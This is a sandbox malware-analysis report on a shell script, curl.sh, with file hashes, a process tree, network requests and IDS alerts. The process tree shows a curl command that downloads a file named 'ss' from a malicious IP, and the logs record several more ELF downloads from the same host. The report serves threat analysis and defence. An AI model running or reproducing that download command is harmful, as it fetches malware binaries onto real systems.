File name: | curl.sh |
Full analysis: | https://app.any.run/tasks/e5cc4279-de51-4b64-8204-44067a5a2e8e |
Verdict: | Malicious activity |
Analysis date: | January 11, 2025, 00:24:48 |
OS: | Ubuntu 22.04.2 LTS |
MIME: | text/x-shellscript |
File info: | Bourne-Again shell script, ASCII text executable |
MD5: | D8D6BE287E3428BC6EB16A3E05E8AB47 |
SHA1: | C6BBA87F1258183E8E70B2AC18DEE260C48EB04D |
SHA256: | 72F5F8EC4A91B6D69C3E3BE588664ABA1C2C511ECDFD8430DC0EDF9D1AF00353 |
SSDEEP: | 24:6TeY1iZ0dxJCcJueJ8DFxWWNx90/9cluXBSiG7VTy:seb07nJtiFcfOKBV4Vm |
.sh | | | Linux/UNIX shell script (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
38748 | /bin/sh -c "sudo chown user /home/user/Desktop/curl\.sh && chmod +x /home/user/Desktop/curl\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/curl\.sh " | /usr/bin/dash | — | any-guest-agent |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38749 | sudo chown user /home/user/Desktop/curl.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38750 | chown user /home/user/Desktop/curl.sh | /usr/bin/chown | — | sudo |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38751 | chmod +x /home/user/Desktop/curl.sh | /usr/bin/chmod | — | dash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38752 | sudo -iu user /home/user/Desktop/curl.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38753 | /bin/bash /home/user/Desktop/curl.sh | /usr/bin/bash | — | sudo |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38754 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38755 | /snap/curl/1754/bin/curl -o ss http://176.119.150.11/ss | /snap/curl/1754/bin/curl | bash | |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38766 | /snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info | /snap/snapd/20290/usr/lib/snapd/snap-seccomp | — | curl |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38775 | /snap/snapd/20290/usr/lib/snapd/snap-confine --base core20 snap.curl.curl /usr/lib/snapd/snap-exec curl -o ss http://176.119.150.11/ss | /snap/snapd/20290/usr/lib/snapd/snap-confine | — | curl |
User: root Integrity Level: UNKNOWN Exit code: 0 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 185.125.190.98:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
— | — | GET | — | 185.125.190.98:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssd | unknown | — | — | malicious |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssp | unknown | — | — | malicious |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssc | unknown | — | — | malicious |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssb | unknown | — | — | malicious |
38875 | curl | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/sse | unknown | — | — | malicious |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssi | unknown | — | — | malicious |
39107 | curl | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/ssx | unknown | — | — | malicious |
— | — | GET | 200 | 176.119.150.11:80 | http://176.119.150.11/sss | unknown | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 185.125.190.98:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
38755 | curl | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
— | — | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
38875 | curl | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
38991 | curl | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
39078 | curl | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
39107 | curl | 176.119.150.11:80 | — | Owl Limited | JP | malicious |
Domain | IP | Reputation |
---|---|---|
connectivity-check.ubuntu.com |
| whitelisted |
google.com |
| whitelisted |
57.100.168.192.in-addr.arpa |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potential Corporate Privacy Violation | ET POLICY Executable and linking format (ELF) file download Over HTTP |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potential Corporate Privacy Violation | ET POLICY Executable and linking format (ELF) file download Over HTTP |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potential Corporate Privacy Violation | ET POLICY Executable and linking format (ELF) file download Over HTTP |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potential Corporate Privacy Violation | ET POLICY Executable and linking format (ELF) file download Over HTTP |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potential Corporate Privacy Violation | ET POLICY Executable and linking format (ELF) file download Over HTTP |